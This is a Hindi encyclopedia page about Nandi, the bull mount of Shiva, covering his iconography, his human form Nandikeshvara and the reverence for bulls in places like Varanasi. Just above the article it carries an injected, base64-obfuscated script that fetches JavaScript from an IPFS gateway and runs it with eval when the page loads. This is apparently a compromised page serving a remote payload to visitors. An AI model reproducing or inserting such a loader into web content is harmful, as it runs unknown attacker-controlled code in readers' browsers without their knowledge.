नन्दी

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

नंदी / Nandi

  • नंदी का शाब्दिक अर्थ बैल है।
  • नन्दी हिंदू देवता शिव जी का वाहन है।
  • कुछ विद्वानों का मत है कि यह बैल मूल रूप से शिव का ही पशु रूप था, लेकिन कुषाण काल (पहली शताब्दी ) के बाद उसे इस भगवान का गण माना जाने लगा।
  • कई शिव मंदिरों में एक ऊंचे चबूतरे पर बैठे सफ़ेद, कूबड़ युक्त बैल की मूर्ति होती है, जिसका मुंह मंदिर के प्रवेश द्वार की ओर होता है, ताकि अनुश्रुति के अनुसार, वह भगवान को उनके प्रतीकात्मक रूप लिंगम में लगातार देखता रहे।
  • नंदी शिव के प्रमुख गणों में से एक माना जाता है तथा मूर्तियों में उसका चित्रण बैल के चेहरे वाली बैल की बौनी आकृति के रूप में किया जाता है।
  • नंदी को पूर्ण मानवतारूपी रूप में भी जाना जाता है, जिसे 'नंदिकेश्वर' या 'अधिकारनंदिन' कहा जाता है।
  • मानव रूप में उसकी मूर्तियां दक्षिण भारत के कई शिव मंदिरों के प्रवेशद्वार पर पाई जाती है, जिन्हें अक्सर ग़लती से भगवान शिव की मूर्ति समझ लिया जाता है, क्योंके वे तीसरे नेत्र, जटाओं में अर्ध्द चंद्र, चार भुजाएं, जिनमें से दो में परशु एवं मृग है जैसे समान लक्षणों से युक्त होती है।
  • आराधना में जुड़े नंदी के हाथ सामान्यत: इनमें भेद करने वाली विशेषता है।
  • आधुनिक भारत में बैल को दिये जाने वाले सम्मान का कारण शिव के साथ उसका संबंध है। वाराणसी(बनारस) जैसे पवित्र हिंदु नगरों में बैलों को सड़कों पर खुले घूमने की छूट है। उन्हें शिव की संपत्ति माना जाता है और उनके पार्श्व में शिव के त्रिशूल चिह्न को दागा जाता है।